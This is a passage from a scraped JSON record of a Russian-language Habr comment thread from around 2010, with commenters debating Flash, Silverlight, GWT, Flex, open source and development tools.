href=\"http://2009.max.adobe.com/online/session/381\">тут</a> (видео с Adobe Max 2009)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну чего-чего, а динамики в XAMLе с C# хватает. <br/>\r\n<br/>\r\nИли я не так понимаю вашу «динамику»?<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Или это прикол такой прямо в разметке страницы код монстрячить? Аля PHP</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Чью «вашу»? Вы нас не путаете?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Понятия не имею. Попробуйте спросить у Gorthauer87. Насколько я видел, там (QML) так и пишется</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Абсолютно беспонтовая статья.<br/>\r\n<br/>\r\n> В этой статье я бы хотел рассказать от технологии flash со стороны разработчика и рассказать что, почему и как.<br/>\r\nКак flash-разработчик прокомментирую — раскрыть тему даже не попытались.<br/>\r\n<br/>\r\nИ да, так почему же, все-таки, банеры тормозят?<br/>\r\nПотому, что там инструкция на единственной рисованной кнопке (не компоненте) on (release) { getURL('habr.ru'); } написана с использованием AS2?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Аж зачитался.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Flash IMHO самая open-source-developer-friendly среда.<br/>\r\n<br/>\r\nТут смотрел на последний проект — шесть! open-source компонент. Причём вставка их — скачал, добавил, вызвал, profit. Никаких тебе рысканий по инету потому как «используется curl, а для него надо это, а для этого надо это...»<br/>\r\n<br/>\r\nНасчёт среды разработки — flex/flash builder == visual studio + visual assist<br/>\r\n<br/>\r\nДа и вообще, в повседневной работе стало проще на flash/flex'е написать что-то чем тащить Qt или там VS</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">flash block и есть костыль.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote><img src=\"http://img.parcsis.org/habra4/myth3.png\" data-src=\"http://img.parcsis.org/habra4/myth3.png\"/><br/>\r\n<br/>\r\nТут вроде бы все ясно, должно быть:<br/>\r\n<br/>\r\na 2<br/>\r\nb 1<br/>\r\nс 1<br/>\r\n</blockquote><br/>\r\n<br/>\r\nНе могли бы вы мне пояснить, пожалуйста, почему в output'e вы ожидаете именно a=2, b=1, c=1 а не a=1, b=1, c=1?<br/>\r\nМне кажется, что должны отобразиться только старые значения свойств «p»(trace выполняется раньше p[prop] =2)?<br/>\r\nА новые значения (a=2, b=2, c=2), мы сможем увидеть только при повторном переборе.<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> мультимедиа-программы должны иметь максимально прямой доступ к железу, чтобы все данные шли напрямик, без лишних переключений контекста и копирований данных (ибо копирование областей памяти — одна из самых неэффективных операций, никакие кеши не спасают,<br/>\r\n<br/>\r\nВы о чем вообще?.. Максимально прямой доступ хотите, ну так подумайте сперва как потоки будут смешиваться, когда например вы будите слушать музыку (медиа-плейер захватил аудио-железку всецело и выжимает «все частоты», дабы вы смогли насладиться великолепным качеством звучания) и тут вдруг аська захочет обратить на себя внимание. Музыка стоп, проигрывается звук аськи, затем музыка играет дальше. Вы точно этого хотите?<br/>\r\n<br/>\r\nПодумайте зачем придумали ALSA, если есть OSS.<br/>\r\n<br/>\r\nЧтобы вас услышали разработчики, пишите им на e-mail а не на хабре воздух сотрясайте.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">типа без флеша сообщение другому окну не послать? х)))</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В 99% времени у меня играет один поток :) А если появляется какой-то другой звук, пакеты данных должны конечно перенаправляться в микшер, а после его завершения (другого звука) — снова идти напрямик. Появляется небольшая задержка — не ее можно обойти размером пакета в 1/20 секунды например, а чтобы программу не дергать 20 раз в секунду, она может выставлять очередь из нескольких пакетов сразу.<br/>\r\n<br/>\r\nТо есть когда источник один, звуковая карта читает память процесса, а когда несколько — пакеты из памяти процесса читает микшер. Просто, согласитесь?<br/>\r\n<br/>\r\n> зачем придумали ALSA, если есть OSS.<br/>\r\n<br/>\r\nПонятия не имею. Слышал, что с обеими библиотеками есть заморочки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">согласен</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет, не поэтому. А потому, что векторная анимация не слабо так жрёт процессор. А вылизывать и оптимизировать нечто стоимостью 50-100$ будут не все и не всегда. Да к тому же оптимизировать надо ещё и по весу, а оптимизация по весу и размеру процессы не всегда однонаправленные, часто совсем наоборот.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для большинства независимых разработчиков ЖИЗНЕННО важно, чтобы давление open sources изменило общую ситуацию в сторону большего, а лучше подавляющего применения открытых бесплатных стандартов и открытых исходников.<br/>\r\nС компаниями-гигантомонополистами это плохо совместимо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хм, вы хотите писать сервисы и т.п., чтобы зарабатывать, но делится куском пирога не хотите?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Покажу. Ну и некоторую предрелизную информацию буду выкладывать в твиттер.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я хочу как раз за то, чтобы делиться, но не на тех условиях, которые так любят монополисты.<br/>\r\nПока ситуация сильно перекошена в их сторону.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Языки программирования высокого уровня — костыльны. Они лишь позволяют не знающему ассемблер программисту быстренько что-то наклепать, не залезая в ассемблер и тонкости аппаратной реализации.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Сори, да моя ошибка. Там изначально было вместо p[prop] — p[«a»], просто забыл изменить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я не против, но чуточку выше, я описал отношения oo разработчиков и линуксоидов к другим технологиям, они пытаются заткнуть рот людям, которые пишут о .net, какой бы она не была. У нас же нет мании загонять в минуса топики про php, python и т.п. Думаю не нужно еще раз писать, как это характеризует их.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вернул исходный код.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">трололо.<br/>\r\nГде вы в Макоси X-сервер нашли (не, он там конечно есть, но не является основой графической системы и вообще является просто userspace-приложением)? В макоси есть Quartz Extreme — аппаратное ускорение графики, и оно прекрасно работает. <br/>\r\nА вот флеш почему-то тормозит лол.<br/>\r\n<br/>\r\nА линуксу конечно есть куда расти в плане скорости работы гуя и графики в целом, но все уже не так плохо :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вы, мягко говоря, не правы. «Эти фичи», т.е. программный скиннинг доступны и в 3-й версии SDK. Просто там они реализованы через одно место. И не путайте флеш билдер с flex sdk. Использовать 4-ю версию sdk можно и в старом билдере.<br/>\r\nМы в работе используем бету 4-го sdk с лета прошлого года, полет нормальный.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А Вы никогда не думали, что минусуют именно мнение, которое Вы высказываете, а не личность или технологию?<br/>\r\nВот Вы например пишете: <br/>\r\n<br/>\r\n> Нет, это отлично, но это не значит, что open source должно заменить все, что и пропагандируют многие «спецы». Всему свое место, и без денег даже open source загнется, потому что в многие проекты вкладывают деньги корпорации.<br/>\r\n<br/>\r\nВо первых — пренебрежительное отношение к противоположной стороне.<br/>\r\nВо-вторых путаница (или сознательная подмена) понятий.<br/>\r\nВ чем подмена? В том, что опен-сорс вовсе на значит «без денег», или «не корпорации».<br/>\r\nОпен сорс значит, что должны быть доступны исходники распространяемого/продаваемого продукта. Причем совершенно необязательно под GPL или BSD или другой свободной лицензией.<br/>\r\nМногие же закрытые же продукты (противоположность опен сорс) сегодня распространяются на совершенно бандитских основаниях.<br/>\r\nМало того, что заплативший за них очень серьезные деньги фактически получает их на условиях близких к аренде, а не в собственность, но во многих случаях даже подсмотреть как оно работает нельзя (реверс инжинеринг). </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>А Вы никогда не думали, что минусуют именно мнение, которое Вы высказываете, а не личность или технологию?<br/>\r\n<br/>\r\nЯ еще раз повторюсь, минусование идет на уровне статей и переводов, где раскрываются только технические детали технологии и нет ни слова о сравнениях или других технологиях.<br/>\r\n<br/>\r\n>Во-вторых путаница (или сознательная подмена) понятий.<br/>\r\nИ так везде, все мы начинаем говорить об одном, а заканчиваем другим. То линуксоиды выступают в роли пользователей и тут же требуют для себя инструменты разработчиков и т.п. И так смысл каждого сообщения перетекает из одного в другое сотни раз. Вот и мы с вами не поняли друг друга. Я говорю в первую очередь за толерантность между приверженцах разных технологий. На данный момент, рассказывать на хабре о microsoft технологиях почти не возможно. И разницы нет открытые или закрытые. Мы просто говорим, что нового появилось, как реализовать определенный алгоритм. И все равно идут минуса, и вы знаете прекрасно с какой стороны. Но оснований для этого я не вижу, ведь если не нравится не читай/используй.<br/>\r\nЯ с вами согласен, что разработчики должны давить на гигантов, для рыскрытия кодов. Но не на своих собратьев, которые используют данные продукт у себя в разработках.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ясно. Спасибо большое</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Проблема, не с нами, проблема с Вашими технологиями. Они при распространении стремятся убить всех, до кого дотягиваются руки. Поэтому и неприязнь.<br/>\r\nА линуксоиды, они и пользователи и разработчики. Что тут удивительного?<br/>\r\nДа еще и привыкли к тому, что вся тулчейн открыта и доступна.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Деньги правят миром, что-то я не вижу достойного сопротивления apple технологиям, ObjectC, ихней закрытости, побились в закрытые двери и все, сказала apple нет flash, и никого не..., вот так :) <br/>\r\nКаждый выбирает то, что ему нравится, вы пытаетесь навязать свое, ms свое. Я с успехом применяю технологии обеих компаний. И прошу не Вы-кать, технология не моя, она мне просто нравится, как и RoR и Python, но не прыгать же туда сюда. Тут конечно вы скажите, что МС убивает и их, создав IronRuby и IronPython. <br/>\r\nВ общем я думал, что вы скажете вне что-то новое, а вы оказывается из тех минусующих.<br/>\r\n<br/>\r\nЯ уважаю все стороны, вы нет, и тут я красноречиво говорю -«так кто же из нас проявляет неуважение»? ;)<br/>\r\n<br/>\r\nДавай-те завершим наш диалог, вы мне напоминаете Столлмана, а ему что не скажешь, он все в штыки. Кто из нас не прав рассудит история и опыт.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я в штыки? Просто у меня есть определенная позиция.<br/>\r\nТак же как и у Столлмана.<br/>\r\nДело не в технологиях, дело в способе их распространения и в каком мире будем жить.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Митинговать против закрытого ПО, MS, Apple, ничего не даст, это больше для показухи. Почему нет конструктивных предложений. Давайте представим разработчика, как наркомана, к нему приходит диллер и подсаживает, постоянно дают новое, улучшенное. Чуть позже, приходит другой диллер и говорит, пошли ко мне, у меня лучше, у меня даже бесплатно. Человек попробовал — не понравилось. Второй дилер начал устраивать забастовки, кричать что первый его обманывает.<br/>\r\nПочему вы не направите свои усилия в пропагандирование технологий? Почему на хабре редко появляются интересные статьи о PHP, почему PHP развивается ужасно медленно? Потому что все сидят и тихо кодят, и иногда выходят помитинговать. Кто будет рассказывать новым программерам о технологиях — никто. Где бесплатные IDE под PHP, где хоть одна нормальная платная? <br/>\r\nДа, возможно для вас покажутся 3 года опыта не большим сроком, но за это время, я не нашел хорошей IDE, не монстров ZendEclipse,Aptana, PDT, а нормальных — платно/бесплатных, которые бы сравнились с Visual Studio. ZendDebuger с завидным постоянством перестает работать даже с родной ZendEclipse(он 5 минут назад работал), вы скажете кривые руки? Возможно, я выкручусь, но представьте тоску начинающего. Он подумает «зачем мне все это?». Netbeans хорошая штука, но не хватает ее мне, WebIDE понравилась, но XDebug никак не хочет с ней в тандеме работать, ладно кривые руки, а так хочется одну галочку поставить и чтобы хоть это заработало, а нет, простых путей- нет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">> Почему нет конструктивных предложений.<br/>\r\n<br/>\r\nКонструктив может быть такой например, как должен выпускать Майкрософт, или Эппл свои продукты, чтобы мы сказали: Ну все, теперь он гладкий и пушистый.<br/>\r\n<br/>\r\nНасчет IDE пропускаю, раз нет, значит не нужно. Лично я IDE не пользуюсь.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">>раз нет, значит не нужно<br/>\r\nпоработайте с Magento, 35000 файлов, mc вам в помощь.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Глянул из любопытства простенький свой проект на Django — 7500 файлов. И вроде никаких затруднений. Правда я в MC редко вылажу, в основном в emacs сижу.<br/>\r\nА чем Вам IDE помогает разруливать 35000 файлов?<br/>\r\nКак по мне если есть порядок, то легко, а если бардак, то никакой IDE не поможет.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Конечно, он там есть (не линуксовый X-сервер конечно, а похожая штука, только еще и поддерживающая PDF), как оно по вашему окошки рисует? Что вы несете?<br/>\r\n<br/>\r\n<a href=\"http://developer.apple.com/graphicsimaging/overview.html\">developer.apple.com/graphicsimaging/overview.html</a> почитайте.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вот это верно, главное порядок и четкая иерархия</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">За 9 лет в интернете ни разу такого окошка не видел.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Пишу gwt-апликации в Идее. Пишу flex-апликации в Идее. На собственном опыте могу сказать, что деббагер для флекса такой же как и деббагер для gwt. ;) — отсюда вывод — дебагер зависит не от технологии, а от IDE<br/>\r\n<br/>\r\nПо сути вопроса скажу, что одно и тоже задание для флекса пишется как минимум раза в два быстрей, чем на gwt. Почему? Не знаю. Быть может, потому, что на флексе больше компонентов (про всякие smartgwt, gwt-ext и прочие знаю). Меньше кода. Проще отлаживать. Да и работает во флекс-апп всё быстрей. Для примера: нужно было сделать дерево в которое по кликам на узлах будут подгружаться данные (страны в них области и в них города — всего 12500 элементов). Так вот в gwt перепробовал все имеющиеся деревья и все они дохли где-то на 800-1000 элементах. Во флексе, даже стандартное дерево легко загрузило и отобразило все элементы. Скажу больше. Только лишь флекс поддерживает amf. В моём примере с деревом, все 12500 элементов загружались в этом формате за 1,5 сек. То есть как бы отпала необходимость в асинхронной подгрузке…<br/>\r\nДумаю, если поразмышлять, найдутся ещё множество плюсов флекса по сравнению с жвт. Кроме одного — если не стоит плейер, то gwt рулит :)<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Скорее всего так оно и есть. Иначе как объяснить то, что яблочники не пускают адобов, чтобы те смогли доработать плейер под маки?<br/>\r\nПро айфоны/афпады вообще молчу. Конечно, намного проще обвинить кого-то в косяках, чем признать истинную причину.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы были правы. Прошло 3 года. Никто даже и не думает ставить SL :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Данный факт не сделал SL плохой технологией, дальше просто бизнес.</div>" ], "message_markdown": [ ">малая распространенность\n, к тому же сильная зависимость от продуктов Microsoft", ">малая распространенность\nуже перевалило за 50%\n>к тому же сильная зависимость от продуктов Microsoft\nFlash, к тому же сильная зависимость от продуктов Adobe... какой скрытый подтекст вы тут пытались выразить?", "А наверное можно было бы сделать во flash-плеере шейпер на cpu — и пусть тормозные баннеры либо «медленно» показываются (frame-drop что ли), либо просто не показываются. Шейпер сделать настраиваемым.", "а как тогда смотреть ролики с ютуба?", "Спасибо, очень интересная и познавательная статья получилась.\nА как вы считаете, что сейчас предпочтительнее начать учить flash или silverlight или что то другое?", "Да я видел, график где было 50%, но пока в реальном мире я этого не вижу. Из 30 моих знакомых которые связанны с вэбом, silverlight стоит только у 4. Они .Net разработчики.\nСильная? Я могу скачать компилятор для AS3 и писать код в блокноте, а рисовать все в GIMP. Я могу так же работать с silverlight?", "Учите всё, с вас не убудет. В принципе достаточно основ ООП, и оба языка дадутся достаточно просто. Взгляните на haxe, возможно он придется вам по душе.", "Пользователь поставит плагин, как только его об этом попросят, как и флеш, вы его ставите при первом запросе браузера. Просто сейчас еще не столь громадное количество сайтов работают на SL, следовательно ваши знакомые просто на них не попадали :)\n>могу скачать компилятор для AS3 и писать код в блокноте, а рисовать все в GIMP\nБез проблем, разметка вся, даже анимация хранятся в XAML виде, аналог MXML, код отдельно в .CS файлах, аналог .AS =)", "Дать право пользователю самому решать, какие ролики и как шейпить. Аналог adblock, только более умный.", "В Qtшных браузерах сделали такую штуку Click-to flash, вместо ролика показывается кнопка, ролик показывается только по её нажатию", "Спасибо! Отличный материал. Даже не программеру более ли менее понятно что к чему и где мы все завтра будем.", "Странно, что Google Web Toolkit не попал в список альтернатив.\nКазалось бы, та же ЦА — RichInternetApplications, чуток лучше с производительностью, заметно лучше с кроссплатформенностью.\nНет поддержки video (на некоторых браузерах — есть, через canvas), зато назревает поддержка 3d.\nЧто про это думает симулякр Адама-и-Джейми, написавший обзор в посте?", "White list по доменам устроить...", "Походу дела Adobe просто оказалась погребена под тяжестью своих ошибок и промахов во времена Macromedia. Может наконец стоит сломать совместимость со старым тормозным и кривым хламом и создать какой-нибудь flash-ng?", "Точно! В gnash ведь так сделано!", "flash block как раз этим и занимается", "flash block и ни каких костылей не требуется", "flashblock делает так же", "спасибо за статью, можете пояснить про загадочную ( для меня) конструкцию — DEBUG::ENABLED?", "Что вы, я всегда прежде чем что-то установить, я задрот в этом плане. Устройте опрос на хабре, если будет больше 50% я уберу текст про распространенность из статьи.\nЭм... Я тут скачал пример с silverlight.net. Вот его иерархия. Вы реально думаете, что я смогу с ним работать без Visual Studio и Exspression Web?", "GWT мне нравится, но это же просто навороченный javascript.", "хорошо, что у меня нету флеша.", "Внимание, вопрос:\nА что такого есть в flash, чего нет в gwt?\nЯ не очень хорош в flash, и наверное поэтому таких преимуществ я не встречал.\nСобственно, в данной нити я как раз и собираюсь их повыяснять.", "UFO just landed and posted this here", "Все верно, целиком поддерживаю!", ">Устройте опрос на хабре,\nЭто бессмысленно, в данном месте.\n>Вот его иерархия\nТут вы лукавите, во-первых видно, что вы взяли solution, который состоит из 3 проектов, проект использует MVC, что за собой уже ведет к обильному количеству файлов в любой технологии. Папки bin, debug, obj, генерируются компилятором. В результате если все это смотреть в исходно виде, то выходит:\n| MEF1.sln\n| ier.txt\n|\n+---MEF1\n| | App.xaml\n| | App.xaml.cs\n| | MainPage.xaml\n| | MainPage.xaml.cs\n| | MEF1.csproj\n| | MEF1.csproj.user\n| |\n| +---Assets\n| | | Styles.xaml\n| | |\n| | \\\\---Resources\n| | ApplicationStrings.Designer.cs\n| | ApplicationStrings.resx\n| | SecurityQuestions.Designer.cs\n| | SecurityQuestions.resx\n| +---Controls\n| | CustomDataForm.cs\n| |\n| +---Generated_Code\n| | | MEF1.Web.g.cs\n| | |\n| | \\\\---Models\n| | \\\\---Shared\n| | User.shared.cs\n| |\n| +---Helpers\n| | DataBindingExtensions.cs\n| | DataFieldExtensions.cs\n| | NotOperatorValueConverter.cs\n| | ResourceWrapper.cs\n| | StringFormatValueConverter.cs\n| | TargetNullValueConverter.cs\n| |\n| +---Libs\n| | ActivityControl.dll\n| | System.Windows.Controls.Data.DataForm.Toolkit.dll\n| |\n| +---Models\n| | LoginInfo.cs\n| | RegistrationDataExtensions.cs\n| +---Properties\n| | AppManifest.xml\n| | AssemblyInfo.cs\n| | OutOfBrowserSettings.xml\n| |\n| +---Views\n| | | About.xaml\n| | | About.xaml.cs\n| | | ErrorWindow.xaml\n| | | ErrorWindow.xaml.cs\n| | | Home.xaml\n| | | Home.xaml.cs\n| | |\n| | \\\\---Login\n| | LoginForm.xaml\n| | LoginForm.xaml.cs\n| | LoginRegistrationWindow.xaml\n| | LoginRegistrationWindow.xaml.cs\n| | LoginStatus.xaml\n| | LoginStatus.xaml.cs\n| | RegistrationForm.xaml\n| | RegistrationForm.xaml.cs\n| |\n| \\\\---Web\n| \\\\---Resources\n+---MEF1.Web\n| | Default.aspx\n| | Default.aspx.cs\n| | Default.aspx.designer.cs\n| | MEF1.Web.csproj\n| | MEF1.Web.csproj.user\n| | MEF1TestPage.aspx\n| | MEF1TestPage.html\n| | Silverlight.js\n| | Web.config\n| |\n| +---App_Data\n| +---ClientBin\n| | MEF1.xap\n| |\n| +---Models\n| | | RegistrationData.cs\n| | | User.cs\n| | |\n| | \\\\---Shared\n| | User.shared.cs\n| |\n| +---Properties\n| | AssemblyInfo.cs\n| |\n| +---Resources\n| | ClientCultureBasedResources.cs\n| | ErrorResources.Designer.cs\n| | ErrorResources.resx\n| | RegistrationDataResources.Designer.cs\n| | RegistrationDataResources.resx\n| |\n| \\\\---Services\n| AuthenticationService.cs\n| UserRegistrationService.cs\n|\n+---MEF1_Extensions\n| | MEF1_Extensions.csproj\n| | MEF1_Extensions.csproj.user\n| | NoteWriter.xaml\n| | NoteWriter.xaml.cs\n| |\n| \\\\---Properties\n| AssemblyInfo.cs\n|\n\\\\---MEF_Contracts\n| IPart.cs\n| MEF_Contracts.csproj\n| MEF_Contracts.csproj.user\n|\n\\\\---Properties\nAssemblyInfo.cs", "> К тому же наличие Flash может сильно ударить по доходам appStrore от казуальных играх и мини приложений\nТак может именно в этом, и только в этом дело? Сомнительно, что Джобс настолько меценат (глуп), чтобы отдать такой кусок дохода.", "GWT крут, но это скорее не технология как Flash или html5, а инструментарий. При чем очень крутой, но он все-таки базируется на фичах html5. Там дела лучше потому, что приличную част работы делают ребята из webkit и mozilla. Нужно разработчиков Flash плеера отправить к ним учиться.", "Без обид, но «чья бы корова мычала», дыр во flash полным полно", "Спасибо, отличная статья!\nЯ не флеш программист, но в курсе различных проблем, и очень хотелось видеть такой обзор от спецов.\nСкажу, что лично мне не нравится во флеше как среде для RIA. По своей сути получается, что это браузер в браузере. А это ведет к двум проблемам: нам с одной стороны прихдится дублировать функциональность (как вы и написали), а с другой — как-то это связывать с самим браузером, чтобы реагировать на события, что-то отдавать туда и пр. Очень хорошо эти проблемы описаны у технологов САЛа.", "Хороший пост, только не надо быть программером на Флэш, чтобы ощутить все его негативное проявление. Жаль что не было конкурента у Флэша все это время, может в Адобе народ бы стал более качественно писать свой софт. Не дай Бог оставить включенный Макбук с какой-нибудь открытой флэш-старницей — он нагреется + еще и батарея сядет, если без адаптера :) В общем Стив прав насчет Адоба.\nНо ведь началось то с Макромедии все! Макромедия виновата в глючности и тормозах Флэша, а Адоб виноват в том, что не переделали все нормально :) А ведь могли, гады! С такими неадекватными ценами на Фотошоп можно и сотрудников нанять под это дело грамотных! В общем, жду смерти Флэша и появления нового чего-то :)\nP.S. И среда разработки у них уродская :(", "> Это бессмысленно, в данном месте.\nВы думаете моими проектами пользуются какие-то специальные люди?", "Всегда хотелось услышать мнение из самой Flash-кухни, теперь всё ясно.\nМоя светлая мечта — чтобы Flash исчез из браузеров, как когда-то исчезли Java-аплеты.\nНе то, чтобы совсем исчез, но перешёл в какие-нибудь самостоятельные AIR-приложения.", "Спасибо!\nОстался еще один больной вопрос, когда уже будет полноценный релиз 64-битного Flash?", "главное в silverlight это учет запросов крупного бизнеса (RIA приложения)... если пойдет крупный бизнес, подтянутся и рядовые юзеры (кроме того, если у вас винда обновляется, то SL у вас уже стоит). А еще там можно использовать уже оттестированный код, используемый например, в настольных приложениях... Скоро (ждем sl4) можно будет полноценно ставить приложения на десктоп из браузера (сейчас можно, но нет поддержки DOM оснастки (проще говоря браузера))...\nВ общем использование SL на мой взгляд более предпочительно для крупной разработки, и главное преимущество — переносимость большинства кода из сервисов\\настольных приложений в SL БЕЗ изменений (я недавно делал SL морду к Win приложению, работающему через soap c сервисом, я даже не задумывался «как работают классы win приложения с soap» — экономия $ очевидна).", "UFO just landed and posted this here", "% людей, который ненавидят MS в данном сообществе переваливает за 50%, любую технологию воспримут в штыки :)", "Тут уже нужно пинать разработчиков браузеров, видео — html5 «спасет» нас. Сообщения между окнами, все это есть в SL. Через годика 3 уже и никто не будет думать, о вопросе ставить SL или нет. Да и в первую очередь SL предназначен для RIA, бизнеса и т.п. Не для простого пользователя в первую очередь.", "Вот тут можно почитать по подробнее на английском.\nВ данном случае я использую кастомный неймспейс DEBUG в качестве конфигурационной константы.", "лучше спросить сколько из ненавистников реально программируют ... многие не понимают преимуществ переносимости кода, поддержки сообщества... Да, «переносимость платформы» минус, но с т.з. менеджмента потеря «какого-то линугс» — фигня. (вот, я наехал на линукс, можете минусовать).", "Ээээээ.\nМоя школа гулял, мало-мало знаю.\nДа, GWT — это инструментарий, а технология — это javascript.\nТак вот. Какие преимущества у технологии flex перед технологией javascript?\nДавным-давно была простота разработки (на js писать не сахар, согласен). Но теперь есть GWT, и этого минуса нет, и даже наоборот (мне вот писать для GWT в IDEA очень нравится, тьма всяких рефакторингов и инспекций. И дебаггер не в пример флешовому).\nВ чём же преимущества flex'а?\n(Не то чтобы я холиварил, просто плохо и мало знаком с flex, и пытаюсь понять, стоит ли оно изучения.)", "дада. хороший вопрос кстати.\nраз уж упомянули про правильное решение, то почему без объяснений?", "Давайте без холиваров. Будем считать Silverlight и Flash братья навек.", "В том и дело, что они пытаются свести воедино 2 сектора — бизнес и домашнего пользователя, а там разные цели, Adobe для этого вынесла Flash в отдельный продукт (Flex), кстати довольно не плохо получилось, я проштудировал их родной видео-курс недельный.", "блин. я слоу) спасибо за ссылку =)", "я специально поставил во всех браузерах и на всех своих компах FlashBlock.\nИбо раз Flash продукт глючный и не предсказуемый — то довольно глупо включать его поддержку в довольно стабильную и четкую систему, как iPhone OS.\nТак что если у меня на iPhone и на iPade не будет работать Flash — то я только за.\nЯ за стабильность и предсказуемость в работе. А тратить время на разборки с тормозами и глюками я не хочу.", "trace(prop, p[prop]);", "No holywar, я поддержал ваш топик, потому что вы трезво оценили негативные стороны технологии, являясь разработчиком на этой технологии. Я просто про то, что немного разные стороны занимают Flash, Flex, Silverlight. Я даже считаю глупым сравнивать Flash и Flex. И когда доходит до разработки серьезного бизнес-инструмента на Flex, то без IDE, ну никак :).", "Переносимость это не такая простая вещь как кажется и если кто-то живет в мире Windows и думает что страшное слово его это не касается — сам ~~дурак~~ себе буратино. Разработчики игнорировали здравый смысл и писали конфиги в Program Files — получили несовместимость с вистой; какая мол разница, всё равно в Windows моя программа запустится — а нет. Прямо сейчас на хабре циклы статей про перенос ужасного унаследованного кода на 64-битные системы, и Windows рассматривается там в первую очередь (спекулирую: из-за беспечности разработчиков «один процессор, одна ОС» получили код низкого качества с кучей хаков, так как критерием было работает — ОК).", "Точно, спасибо.", "Думаю вам проще будет прочитать какое-нибудь введение во Flash. Для веб-разработчика знать общий смысл оной технологии и её возможности/ограничения практически обязательно.", "> На нем и пишется добрая (скажем 89,26%) часть всех баннеров. И эта добрая часть пишется в основном людьми плохо владеющими AS и пишущих в основном на PHP или JS. Поделать с этим к сожалению ничего нельзя — проблема не в технологии, а в головах.\nТ.е. если тривиальные вещи по этой технологии получаются огромными, тормознутыми и прожорливыми — это проблема В ГОЛОВАХ??? Да нет, это проблема ТЕХНОЛОГИИ и только её.", "Silverlight это и есть «flash-ng»", "UFO just landed and posted this here", "Судя по тому, что я не видел ни одного «не тормозящего» флеш-объекта, проблема скорее не в головах, а как раз-таки в технологии. Флеш — основной источник падений браузера и его тормозов. Многие современные браузеры предпринимают отдельные меры по выделению его в отдельный контекст/поток/... А количество багов во флеше просто зашкаливает. Взять хотя бы баг, при котором flash отсылает кукиз из IE при серверных запросах не взирая на то, что текущий браузер не IE.", "И да, аргументы вроде «браузер падает из-за того, что программист написал неправильную флешку» не принимаются. Среда исполнения обязана контролировать процесс, изолировать ошибки. Особенно если она работает в браузере.", "Почему-то если программист написал кривой JS, браузер не падает. Кривого JS-кода в разы больше, чем кривого флэша, но почему-то никого это не напрягает.", "Для этого, разработчикам safari пришлось взять ответственность за JS-разработчиков, чтобы не было бесконечных циклов и т.п. Кстати, как там в iphone, остановить можно постоянные alert и т.п.?", "Дык они с переходом на AS3 уже много от чего отказались. Если заглянуть внутрь спеков на swf под 9ый flash player, можно увидеть, что, например, раньше инструкции AS2 транслировались в байт-код AVM1 1-к-1, и лежали внутри swf в виде tag-chains. А теперь весь ваш код AS3 компилится в один tag-chain «код для avm3», который игнорируется AVM1 и передается сразу на исполнение в AVM3 (новая виртуальная машина, начиная с Flash Player 9). Просто счас из тех мало кто пишет на AS3 для общих случаев, много где еще используется устаревший AS2, особенно в баннерах.", "правильно — но адоб не хочет брать на себя такую ответственность.\nИ перекладывает ее на плечи пользователей.", "Flash и flax может и не стоит сравнивать. Но не надо делать вид, что флеш (хорошо, пусть флекс) не конкурент сильверлайту.\nОни конкуренты, потому что работают на одном рынке но на разных хозяев, и от конкуренции ни куда не уйти.", "Давайте я напишу вам bat или sh файл который повесит вашу систему? Или съест большую часть ресурсов. Например использование памяти во Flash — если создавать объекты и хранить на них ссылки, памяти съесть можно очень много. CPU — 3 вложенных цикла, которые вызывают метод еще с кучей циклов, и все это вместе с рекурсией и все это чтобы крутить какой-нибудь квадратик, а таких квадратиков миллион...\nДа проблема именно в головах. Я давно не встречал ситуации когда flash плеер ел ресурсы из-за ошибок авторов плеера, а не разработчиков под него.", "Java-applets не исчезли. Они были переделаны с нуля, и теперь стали няшкой ^_^ Даже javaFX туда вкрутили", "Дело в том, что на уровне «Нарисовать на flash часы, идущие по текущему времени пользователя» я с флешем знаком.\nИ арканоид писал\nНо это всё можно и на gwt->js сделать легко.\nТут вопрос скорее в тонкостях, о которых я вряд ли прочитаю в каком-либо _вводном_ курсе.\nЯ бы хотел узнать основные пряники flash- супротив ajax-приложений.\nДаже просто перечисление изюминок flash было бы полезно. Не в духе «можно программировать перемещение объектов по экрану 